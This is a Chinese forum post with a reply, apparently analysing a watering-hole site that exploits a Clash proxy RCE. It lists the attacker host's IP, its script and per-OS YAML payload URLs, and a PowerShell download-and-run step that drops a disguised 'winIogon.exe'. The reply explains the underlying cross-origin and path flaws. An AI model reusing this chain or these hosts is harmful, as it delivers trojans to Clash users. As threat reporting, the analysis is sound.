把 Clash RCE 武器化的典型案例

国护已经完成，期间朋友分享了个很骚的网站，该站的蓝队人员把 Clash RCE 运用到了实战里

RT ，访问该网站，会自动枚举 Clash 常见端口 + 4170x 端口，然后调用 Clash API 下发 yaml

Link

http://60.29.77.223:8080

JavaScript

http://60.29.77.223:8080/gBn3F71o0NYt/vue.js

还做了系统版本判断，Victim 有 Win 有 Mac

Yaml 文件

let yaml_path = {
    "win": "http://60.29.77.223:8080/05260CAD5B9562AEA0AAC8039A3AD3987E8E5E42330C39421B5F2D8D9B7880A806755F53968F788FF311B9A772",
    "mac": "http://60.29.77.223:8080/385A4D8141A3E7951E5DCFF35A11387BA4B79B23970EF6954CD8F5CFF75B5E463662978C95EF1B2D2868232F60",
}

这里以 windows 为例子，会执行 Powershell Invoke-RestMehod 方法下载 exe 存到C:\Users\Public\winIogon.exe 并且执行 winIogon.exe

木马分析

微步

https://s.threatbook.com/report/file/65095500dd954dba19c11dd9f7f88a5138bbbce3eec152dbfd1ef04e9b3d4019?sign=history&env=win10_1903_enx64_office2016

做了基础的一些沙箱检测，木马行为就单纯的执行 shellcode ，非注入

更深入的分析 IDA 什么的，楼主就不会了 TAT

kuanat

45 天前

@codehz #8 感谢解释。

我这边检查了一下，是我之前拦截了对 localhost 的访问，我还以为之前的 PNA 通过了呢。

我又回头确认了一遍，RCE 是两部分共同实现的，通过 api 控制是 POST/json ，本身是需要跨域的，但 clash 默认允许……第二个漏洞是配置项在 unmarshalling 的时候，解析的路径没有检查就直接使用，所以可以下载任意文件并执行。